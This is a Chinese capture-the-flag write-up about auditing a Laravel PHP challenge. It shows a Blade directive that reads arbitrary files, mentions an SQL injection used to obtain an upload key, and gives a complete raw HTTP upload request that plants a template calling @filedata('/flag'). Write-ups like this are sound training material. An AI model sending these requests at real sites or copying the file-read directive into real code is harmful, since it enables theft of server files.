0%

一道php代码审计题目的心路历程

前言

前端时间做了一道CTF-php代码审计的题目,此题目说难也不算难,属于中等偏上一点点的题目。我在三个小时内做出来了,但是我忽然回顾我做这种代码审计题目的时候,发现这四年的比赛生涯,代码审计题目永远都是我的弱项,而且成长极慢。总是在一头雾水中开始,一头雾水中结束。所以我想梳理一下这道题目我是怎么做出来的,并解决以下问题:
1、遇到代码审计的题目从哪里入手才是正确的
2、做到哪里是难点,坚持不下去了,这时候应该怎么办
3、完全审计清楚,但是仍不会利用怎么办
旨在希望自己能真正的理解这些东西。

源码地址&&一些交代

源码地址:https://pan.baidu.com/s/1qR5srrQLHNEgT_L1tPS79g
第一次看到题目发现无法入手,所以猜测肯定有相应的源码泄露(这是经验,没法传授。)通过dirb扫描发现备份文件 backup。然后下载进行分析。

入手源码

知识点1:查看是否是框架二次开发
拿到源码后首先看read.me发现是Laravel,如果没有readme可以去看配置文件和一些图片是否能发现是框架二次开发还是出题人自己写的php demo。

知识点2:快速了解框架
我们这里发现这个源码时基于Laravel开发的,而我也是从来没用过Laravel,所以马上去学习了一下,大概十几分钟,搞懂laravel的用处。主要通过简介和开发手册来进行学习,只要了解大概就行了。
我通过阅读官方手册目录大概了解了这个php框架:
https://xueyuanjun.com/laravel-docs-5_6

知识点3:漏洞点的查找
这时候你需要一个分析器,毕竟手动来搞太慢了,CTF是快者的世界。我用的是最老的那种seay源代码审计系统,不过还是挺好用的。
我通过这个审计工具发现:/app/Providers/AppServiceProvider.php 18行 存在任意文件读取漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

namespace App\Providers;

use Illuminate\Support\ServiceProvider;

class AppServiceProvider extends ServiceProvider
{
/**
* Bootstrap any application services.
*
* @return void
*/
public function boot()
{

\Blade::directive('filedata', function($expression) {
return "<?php echo file_get_contents($expression); ?>";
//就是这里了 任意文件读取 但是这个东西是啥时候调用我们还不知道
});
}

/**
* Register any application services.
*
* @return void
*/
public function register()
{
//
}
}

知识点4:漫长的分析学习过程
通过漏洞点可知是一个任意文件读取,但是这个函数怎么调用我们不知道,而且对laravel也不太了解,所以我们搜索 —> laravel AppServiceProvider boot 方法如何调用
结果中显示 boot在register方法后调用,为了解决一些注册问题,反正对laravel也不太懂,先跳过,直接搜索 Blade::directivez 发现这个Blade是模板引擎,它可以进行模板的自定义,Blade::directive是进行指令注册,里面的参数就是指令名称,当blade模板渲染的时候对应指定如果存在就会被调用。所以这时候我想到的是模板注入调用指令filedata进行文件读取

但是无论怎么测试都没有模板注入点,所以可能是文件上传进行模板注入。于是我利用seay源码审计系统对upload进行了搜索。发现/routes/web.php 确实有一处上传点,不过需要key

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
Route::get('/', function () {
return view('welcome');
});
Route::get('user_testpage/{id}', 'UserController@index');

Auth::routes();

Route::get('/home', 'HomeController@index')->name('home');

Route::get('/home/profile','ProfileController@show')->name('profile');

Route::get('/home/uploadto_upload','HomeController@uploads')->name('home');

Route::post('/home/uploadss/{key}','HomeController@uploadss')->name('home');

key我找了好久没有找到,于是重新回到这个文件继续审查看看有没有新的发现。结果发现
文件还有一个路径 user_testpage/{id},构造一个 user_testpage/1 发现有回显,立马意识到可能是sqli注入。
经过测试发现确实是sql注入在数据库查到所有用户密码,发现key就是第二个用户名NotAllow6171。
然后我们审查上传代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function uploadss(Request $request,$key){
if($key!=<in database key>){die('sorry!');}

if ($request->isMethod('post')) {

$file = $request->file('files');
if ($file->isValid()) {
$originalName = $file->getClientOriginalName(); //文件原名
$ext = $file->getClientOriginalExtension(); //扩展名
$realPath = $file->getRealPath();
$type = $file->getClientMimeType();
$filecheck=new HomeController();
$filecheck->filecheck($realPath);
$filename = date('Y-m-d-H-i-s') . '-' . uniqid() . '.' . $ext;
$path=$file -> move(base_path().'/resources/views/auth/uploads',$originalName);
}
}

审计后发现是上传到 /resources/views/auth/uploads 我们先进入目录查看其他php文件发现:函数调用就是直接 函数名+(“参数”) 于是我们构造 @filedata(‘/flag’) 进行上传
构造上传,发现有CSRF 这个CSRF怎么过呢?再次查看routes/web.php 发现还有另一处上传点,但是功能异常,所以我们通过这个上传点获得token来伪造一个上传数据包。那么数据包中应该是什么呢?肯定是要调用filedata 函数的 我们通过观察其他静态页面

最终payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /home/uploadss/NotAllow6171 HTTP/1.1
Host: 119.61.19.212:8085
Content-Length: 444
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvJNe9ABsnjeKGhDN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Language: zh-CN,zh;q=0.9
Cookie: XSRF-TOKEN=eyJpdiI6IitoWjhwMm1ycmNTWFozSmZTTXJwXC9nPT0iLCJ2YWx1ZSI6IkllczhnNEZodldZbllTN0NmZDErR2I1eXF1bU9mV1wvYklManNuUnQ4YzhJcmlWQ09JVXJPXC9JNHZxVU0xRmdCY0RDbWJHelVwYjQyVjdXQ1FHVlFMMlE9PSIsIm1hYyI6IjNmMGUzZTEwYTA2ZDA2MjJjMDg4OTY5NTI4NDJjNTk2YmQ4N2U4NWYxY2E2ZjU3YWEwNTAwODllMzIyYTU4ZjAifQ%3D%3D; laravel_session=eyJpdiI6InRhRzZmenBJSmFLNHhrb0RlUE5OdVE9PSIsInZhbHVlIjoiZ01qK2JpQURoRHgxbFVrcGc4TE9PK2kycGxSTjlNRzkwK21uVDUxa3UyTW5JYXpIcWJaY2pYbXQwNDc0dklkemNjRmR0aFhZcllmTkRvQXpVUlR3d3c9PSIsIm1hYyI6IjAwMjVkODA3YmY5NDU1Y2U5MDMyMWMwMTI1MTcyMmQ1YTU5NWQzMTE0MGMxMzc0ZWM1NDU4YzQ5MWIyZjI5YTgifQ%3D%3D
Connection: close

------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name="_token"

Z7VZ7FXfNzuzETtQrZ7DeAZCFtbkQl9L8e7ptVin
------WebKitFormBoundaryvJNe9ABsnjeKGhDN
Content-Disposition: form-data; name="files"; filename="template.blade.php"
Content-Type: text/html

@filedata('/flag')
------WebKitFormBoundaryvJNe9ABsnjeKGhDN

Content-Disposition: form-data; name="submit"

Submit
------WebKitFor
mBoundaryvJNe9ABsnjeKGhDN--

结束语

1、先搞懂框架、找到危险函数,也就是利用点,然后一条线分析下去。
2、遇到难点,审计不下去的时候,利用辅助工具,去查找一些敏感的函数 比如 login upload cookie sql语句等 也可以直接自动审计看看有什么思路。
3、完全审计清楚代码逻辑,但是不知道怎么利用的时候就多去百度对应函数,并百度对应框架的漏洞,参考别人的思路。仔细查看一些已经存在的文件。如果还是不知道如何利用那就是没看懂框架,再去跟一边正常功能的框架是如何实现的,函数是如何调用的!


采用署名-非商业性使用-相同方式共享 4.0(CC BY-NC-SA 4.0)许可协议
「分享也是一种学习」